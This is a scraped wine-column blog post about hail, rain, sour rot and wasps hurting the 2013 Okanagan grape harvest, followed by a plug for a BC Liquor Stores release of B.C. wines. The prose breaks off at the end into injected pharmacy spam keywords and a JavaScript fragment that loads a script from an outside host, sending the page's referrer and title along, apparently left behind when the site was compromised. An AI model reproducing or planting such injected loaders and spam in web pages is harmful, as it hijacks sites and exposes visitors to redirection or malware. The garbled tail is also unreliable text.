Fall storms damage grapes – Oct 26, 2013

http://nebashi.com/?p=5557 By Anthony Gismondi

When I left the Okanagan Valley in late August, growers were heading for one of the finest vintages ever. The weather was ideal, the grapes were putting on sugar like nobody’s business, and phenolic or physiological ripeness – that time when the grape skins, seeds and pulp all reach maturity in harmony – seemed only a matter of a few weeks and in some cases only days away.

Fast forward to late October and, my, how things have changed.

An early spring start pretty much assured the grapes would get ripe in 2013, and a mostly picture-perfect July and August brought the harvest to the edge of the finish line. Then all hell, I mean nature, broke loose: Isolated hail storms along with some significant and clearly unanticipated rain events threw a large wrench into what was until then a fairly bucolic growing season this year.

The hail and rain led to sour rot among the affected bunches, attracting fruit flies into the tight wet bunches, and in essence making vinegar on the vine. The damaged fruit was also an attractive home for wasps that were as persistent and damaging this fall as any ever seen by most veteran Okanagan winemakers. In short, the thinner skinned grapes, Pinot Noir in particular, have suffered, but not everywhere. As October comes to a close, there is some spectacular Riesling, Syrah, Cabernet Sauvignon and Cabernet Franc about to be picked all over the valley. It will be an excellent year for those producers who dodged the bullets. Many will have shorter crops, but what’s coming in is expected to be excellent.

The challenges of 2013 only remind us that with global warming the Okanagan Valley may be gaining some muchneeded warmth earlier in the season, but it seems the trade-off may well be violent weather events of the kind we have never seen before. As 2013 wraps up, save for the icewine, the only major problem left is the birds and bears. Both can be voracious grape eaters at this point in the season and it will take the usual diligence to keep them at bay until the grapes are picked. As one grower said to me last week, “let’s hope the fat lady sings and soon.”

If all this harvest talk is inspiring you to drink some local wine this weekend, you are in luck. Earlier this month BC Liquor Stores launched their annual Best of B.C. release in all Signature BC Liquor Stores. It is difficult to get your hands on some of the more soughtafter wines made in B.C., so twice a year BC Liquor Stores offer a small collection of B.C. wines which are in limited supply and high demand.

The wines were released on Oct. 12, across the province, but a quick check this week tells me that a small number of most of them are still on the shelves. Today we feature a selection of some of the best of the best, most of which I have tasted several times this year.

All of these wines will benefit from a bit more aging. So if you have the time and patience to hold onto these wines, they will improve further in the bottle. Case in point, I served (blind) a 1998 Mission Hill Shiraz to a room full of wine geeks last weekend and everyone pegged it as an older European red. Origin aside, it looked pretty good in the glass for a 15-year-old B.C. red.} buy generic cotrimoxazole cheap cardizem cd advair diskus without a perscription buy pills s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; d.getElementsByTagName('head')[0].appendChild(s);

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